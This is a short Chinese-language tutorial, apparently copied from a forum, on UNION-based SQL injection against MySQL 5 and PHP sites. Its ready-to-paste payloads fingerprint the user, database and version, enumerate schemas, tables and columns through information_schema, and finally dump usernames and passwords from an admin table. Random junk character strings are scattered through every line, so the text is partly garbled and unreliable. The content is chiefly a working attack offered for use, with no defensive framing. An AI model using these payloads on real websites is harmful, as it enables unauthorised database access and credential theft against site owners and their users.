% L8 y1 g/ M: a8 K教程内容:Mysql 5+php 注入7 X$ z, v0 F0 p# y) ?
; C. g& q( ?; O; E; r2 R* A
" o- m4 S7 H6 O: C
$ C5 g5 O3 x& }! F; |
一.查看MYSQL基本信息(库名,版本,用户)3 K" C5 [3 Z5 v; l8 a# e! S0 W
+ {; A6 e z$ r6 Land 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
5 w5 L& H; u/ p( E. K( x. M
3 q+ e# g0 p" r7 l0 F/ ]* m, H二.查数据库
\6 `1 d( @/ S/ o7 _3 U- _( t1 P: Q0 j) D7 y
and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*
/ V+ ^6 r" ^) `limit 从0开始递增,查询到3时浏览器返回错误,说明存在2个库。/ p7 A- P9 k7 G) M
4 h; R) ?6 y, n6 M
三.暴表
1 x3 v4 q0 Y; J9 p; i$ `7 W! F J- y/ ^( _* G( L
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*+ y- W5 H9 ~1 p- q9 [" y
; b, k; a% X0 E* L3 {8 zlimit 从0开始递增,查询到14时浏览器返回错误,说明此库存在13个表。
$ C% s' ?3 [5 x( }; i' \" S- P5 t' \/ P/ n( f9 @8 E
四.暴字段
- j$ q( a" C# q* C8 J, B. p' z& [9 ^. H) i8 X( l
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
# z" @& \( Y4 I% K/ D& \9 G1 o- a
% ]: m2 C/ K- h8 Nlimit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列。
9 `6 H! @% j2 R' [( p7 z" P5 ^, Q0 `( g+ y
五.暴数据* Q2 [7 L6 t9 P+ u4 h
8 w. ]* b/ B: M% Gand 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
5 q9 z2 d9 V3 T6 ~
" T, l! d, Q: l( a# M* q# E! r- p5 w( z2 Y
这里直接暴明文的密码,大多时候我们遇到的是MD5加密之后的密文。, L: U3 q* x: i* o( w `5 E
|